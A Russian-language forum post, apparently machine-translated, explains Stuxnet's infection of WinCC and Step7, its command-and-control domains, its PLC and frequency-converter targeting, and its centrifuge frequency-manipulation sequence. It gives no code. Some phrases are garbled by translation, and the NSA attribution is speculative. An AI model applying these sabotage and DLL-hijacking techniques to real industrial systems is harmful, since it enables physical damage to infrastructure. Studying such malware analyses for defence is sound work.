Stuxnet изменил представление WinCC таким образом, чтобы оно запускало вирусный .exe-файл при каждом доступе к представлению.

Затем Stuxnet записывает себя в новую таблицу и создает хранимую процедуру, которая извлекает и выполняет код, а затем удаляет хранимую процедуру.

Stuxnet просматривает все учётные записи пользователей и все общие диски, чтобы найти доступ к удалённому компьютеру. Если ничего не найдено, Stuxnet пытается использовать инструментарий управления Windows (WMI) для доступа к общим папкам и загрузки копии вируса.

Вирусные инфекции

Вирус записывает историю заражения — может отслеживать предков.

Целью нападений стали 5 различных организаций (все в Иране)

Представляет ~12 000 из ~100 000 хостов

Первичная инфекция 1 (версия 1.000) – 22 июня 2009 г.

~360 зараженных хостов

Первичная инфекция 2 (версия 1.100) – 1 марта 2010 г.

~8300 зараженных хостов

Первичная инфекция 3 (версия 1.101) 14 апреля 2010 г.

~3300 зараженных хостов

Август 2010 г. – прекращена регистрация зараженных сайтов из Ирана (ссылка на «sinkhole» заблокирована).

Командование и контроль

После успешного заражения целевых систем вирус пытается связаться с четырьмя командно-контрольными серверами (C&C). Это:

1. Smartclick.org

2. Best-Advertising.net

3. Internetdvertising4u.com

4. Ad-marketing.net

Эти четыре сервера использовали протокол http для связи с Центром управления (http-c2). Затем сообщения пересылались на другой неизвестный сервер, контролируемый разработчиком Stuxnet (вероятно, АНБ). Он мог загружать информацию и обновления, зашифрованные алгоритмом AES с использованием нескольких различных ключей, что значительно затрудняло расшифровку.

Распространение

Как упоминалось ранее, Stuxnet распространялся очень избирательно. Он заразил всего три машины с одного флеш-накопителя, а затем нашёл программное обеспечение для разработки Siemens Step 7. Затем он попытался модифицировать программы, используемые для управления ПЛК Simatic.

Затем Stuxnet искал логику ПЛК, управляющую преобразователями частоты. Он специально искал более 155 преобразователей, работающих на частоте от 800 до 1200 Гц. В промышленности очень мало преобразователей частоты, работающих на частотах выше 1000 Гц (исключение составляют урановые центрифуги). На иранском ядерном объекте в Натанзе для управления центрифугами используется 160 преобразователей частоты.

Система разработки Siemens Step7 используется для создания программ, управляющих промышленными контроллерами. Вирус Stuxnet изменяет файлы .exe и .dll в среде разработки, что позволяет вирусу загружать файлы в существующие проекты.

Проекты заражены, если:

1. Проект был доступен в течение последних 3,5 лет.

2. Проект содержит папку wincproj

3. Проект не является примером проекта (*step7examples)

6a4a49_f604e8f67ba04e23a96b75eb66de5ff8~mv2.jpg


Блоки данных (БД) содержат специфичные для программы данные, такие как числа, структуры и т. д.

Системные блоки данных (SDB) содержат информацию о конфигурации ПЛК. Они создаются в зависимости от количества и типа аппаратных модулей, подключенных к ПЛК.

Организационные блоки (OB) — это точки входа программ. Они циклически выполняются центральным процессором. В отношении Stuxnet можно выделить два примечательных OB:

OB1 — основная точка входа программы ПЛК. Она выполняется циклически, без определённых временных ограничений.

OB35 — это стандартный организационный блок сторожевого таймера, выполняемый системой каждые 100 мс. Эта функция может содержать любую логику, необходимую для отслеживания критически важных входных данных с целью немедленного реагирования или выполнения функций в кратчайшие сроки.

Функциональные блоки (FC) — это стандартные кодовые блоки. Они содержат код, который должен быть выполнен ПЛК. Как правило, блок OB1 ссылается как минимум на один блок FC.

Stuxnet копирует оригинальный s7otbxdx.dll в s7otbxsx.dll

Затем Stuxnet вставляет свою собственную версию s7otbxdx.dll

Оригинальная библиотека содержит 109 различных функций (экспортов)

93 экспорта без изменений (передано в исходную библиотеку)

Оставшиеся 16 экспортов модифицированы для изменения команд, скрытия данных и т. д.

6a4a49_cc2d10ac3cca454ea3679e2eb2ef24f0~mv2_d_1840_3264_s_2.jpg
Проверьте код ПЛК для типа ПЛК. Ищем 6ES7-315-2.

Если он найден, проверьте SDB на наличие коммуникационного процессора Profibus CP342-5 (используется для управления рядом устройств, включая преобразователи частоты).

Теперь найдите как минимум 33 конкретных преобразователя частоты.

Типовой код 7050H (номер детали KFC750V3 – преобразователь частоты производства Fararo Paya (Иран)

Типовой код 9500H (преобразователь частоты Vacon NX производства Vacon (Финляндия).

Если обнаружено выше и #7050H > 9500H, используйте последовательность A

В противном случае, если обнаружено и #9500H > #7050H , используйте последовательность B

Инфекция OB1 (основной вход в программу PLC)

Добавить заражение к исходному коду

Контролирует поток данных между программой ПЛК и станцией контроллера.

Изменяет некоторые инструкции, отправляемые в ПЛК.

Заменяет некоторые данные о состоянии, отправляемые с ПЛК на контроллер.

Последовательность нормального состояния 1-2-3-4-5-1

Цикл можно скорректировать, если другие контроллеры в наборе перешли в более высокое состояние.

Состояние 1

Отслеживайте события дорожного движения (обычно 60/мин, максимум 186). Подсчитывайте события (с ограничением 60/мин), пока не будет зафиксировано 1,1 миллиона событий (примерно 13 дней).

Ожидается базовая частота 1064 Гц.

Состояние 2

Похоже, задержка составит всего 2 часа.

Состояние 3

Последовательность 1 – установить частоту 1410 Гц; подождать 15 минут.

Последовательность 2 – установить частоту 2 Гц; подождать 50 минут.

Состояние 4

Установить частоту 1064 Гц

Состояние 5

Сбросить счетчик событий и дождаться ~2,3 миллиона событий (~26,6 дней)
 
Ничего не понял, но это было интересно читать по крайней мере
 
Назад
Сверху Снизу